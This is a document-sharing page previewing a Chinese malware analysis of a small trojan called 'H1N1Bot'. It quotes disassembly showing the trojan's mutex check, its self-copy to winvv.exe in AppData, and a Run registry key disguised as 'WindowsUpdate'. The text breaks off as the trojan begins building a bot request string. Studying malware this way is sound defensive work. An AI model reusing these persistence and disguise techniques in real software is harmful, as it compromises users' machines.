一个木马分析.doc

一个木马分析.doc

ID:56304180

大小:101.50 KB

页数:5页

时间:2020-06-22

一个木马分析.doc_第1页
一个木马分析.doc_第2页
一个木马分析.doc_第3页
一个木马分析.doc_第4页
一个木马分析.doc_第5页
资源描述:

《一个木马分析.doc》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库

1、一个木马的分析第一次详细分析木马,不足之处请见谅。这个木马一共4KB,是个比较简单的程序,所以分析起来也不是很难。下面开始正式分析。这是程序的主题函数,一进来就是三个初始化的call,然后就是一个大的循环,程序就是在这个循环之中不停的运行着。跟进第一个call:startprocnearcallsub_401481callsub_401092callsub_4011AEloc_4014C4:callsub_4013D5callsub_40143Fpush0EA60h;dwMillisecondscallSleepjmpshortloc_401

2、4C4startendp函数首先创建了一个hObject变量,用于存放创建的互斥对象句柄。mov[ebp+hObject],eax就是将创建的互斥句柄传送到hObject中。这里是创建了一个名为H1N1Bot的互斥对象。然后调用GetLastError得到错误码,这里加入程序已经有一份实例在运行了,则这个互斥对象就是创建过了的,就是得到错误代码为0B7h的值。通过查询msdn发现:0b7h含义是Cannotcreateafilewhenthatfilealreadyexists.所以这样就防止了木马程序同时打开了多份。当返回值是0B7h的时候

3、,调用ExitProcess退出程序。总结来说这个call就是检查程序是否已经打开,要是打开过了就退出。hObject=dwordptr-4.text:00401481.text:00401481pushebp.text:00401482movebp,esp.text:00401484addesp,0FFFFFFFCh.text:00401487pushoffsetName;"H1N1Bot".text:0040148Cpush0;bInitialOwner.text:0040148Epush0;lpMutexAttributes.text:

4、00401490callCreateMutexA.text:00401495mov[ebp+hObject],eax.text:00401498callGetLastError.text:0040149Dcmpeax,0B7h.text:004014A2jzshortloc_4014A6调用ExitProcess退出程序..text:004014A4leave.text:004014A5retn进入401092的call,由于这个函数代码过多,就不贴详细的代码了。函数定义了两个局部字符串数组ExistingFileName,String2(这

5、里是ida分析给出的名字)和一个文件指针。函数先将这两个数组用零填充,然后调用GetModuleFileNameA得到当前程序的完整路径,并将结果存放在ExistingFileName中。在调用SHGetFolderPathA并将结果存放在String2中。SHGetFolderPathA可以获取系统文件夹,这里他的参数值是0x1c。ConstCSIDL_LOCAL_APPDATAH1C(用户)本地设置应用程序数据。即如果以administration身份登录获得的是C:DocumentsandSettingsAdministrato

6、rLocalSettingsApplicatonData路径。然后调用lstrcatA这个函数在String2的后面加上\winvv.exe。然后比较String2和ExistingFileName是否相同,不同则把自身复制到ExistingFileName中,最后运行复制过去的文件,自身退出。总体来讲第二个call就是路径检查的。3.进入4011AE的call,这个函数就是实现程序的开机运行,手法也很简单。就是在注册表中创建键值。位置在SoftwareMicrosoftWindowsCurrentVersionRun,键值

7、叫做WindowsUpdate,其迷惑作用。4.下面我们进入这个木马的核心程序。大循环。4013D5的callsub_4013D5procnearlpString=dwordptr-4pushebpmovebp,espaddesp,-4push40h;flProtectpush1000h;flAllocationTypepush512;dwSizepush0;lpAddresscallVirtualAlloc;申请内存mov[ebp+lpString],eax;内存首地址存到局部变量里movdwordptr[eax],'edom'addeax

8、,4movdwordptr[eax],'i&2='addeax,4movdwordptr[eax],'tned'addeax,4movbyteptr[eax],'=

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。